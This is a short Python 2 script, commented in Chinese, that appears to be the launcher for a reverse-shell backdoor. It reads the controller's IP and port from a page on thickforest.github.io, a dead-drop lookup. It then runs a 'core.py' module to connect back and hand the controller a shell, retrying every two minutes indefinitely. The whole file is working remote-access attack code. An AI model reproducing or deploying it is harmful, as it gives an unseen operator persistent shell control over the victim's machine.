#!/usr/bin/python
#coding:utf-8
import sys, os
import subprocess
import socket
import struct
import time
from dns_resolver import dns_resolver

CHUNCK_SIZE = 10240

def addr2hex(addr):
	ip, port = addr
	a,b,c,d = map(int, ip.split('.'))
	addr_hex = struct.pack('!4BH', a, b, c, d, port)
	return addr_hex

def hex2addr(hex):
	a,b,c,d,port = struct.unpack('!4BH', hex)
	ip = '%d.%d.%d.%d' % (a, b, c, d)
	return (ip, port)

def get_server_address():
	'''
		获取服务器IP+Port地址
	'''
	#return ('127.0.0.1', 9527)
	webip = dns_resolver('thickforest.github.io')
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
	sock.settimeout(10)
	try:
		sock.connect((webip, 80))
		sock.send('GET /oray/home/ip HTTP/1.0\r\nHost: thickforest.github.io\r\n\r\n')
		page = sock.recv(CHUNCK_SIZE)
		sock.close()
	except socket.error, e:
		return None
	last_line = ''
	for line in page.split():
		if line.strip() != 0:
			last_line = line
	_l = last_line.split(':')
	if len(_l) !=2:
		return None
	ip, port = _l
	try:
		return (ip, int(port))
	except ValueError:
		return None



if __name__ == '__main__':
	while True:
		# 主动去获得服务端IP+Port
		server_addr = get_server_address()
		if not server_addr:
			print '主动获取服务端IP+Port失败，2min后重试'
			time.sleep(120)
			continue
		ret = os.system('python core.py %s %d' % server_addr)
		if ret == 0:
			# 正常shell退出
			print '主控端主动退出shell'
			continue
		else:
			print '主动连接%s:%d失败，2min后重试' % server_addr
			time.sleep(120)
			continue
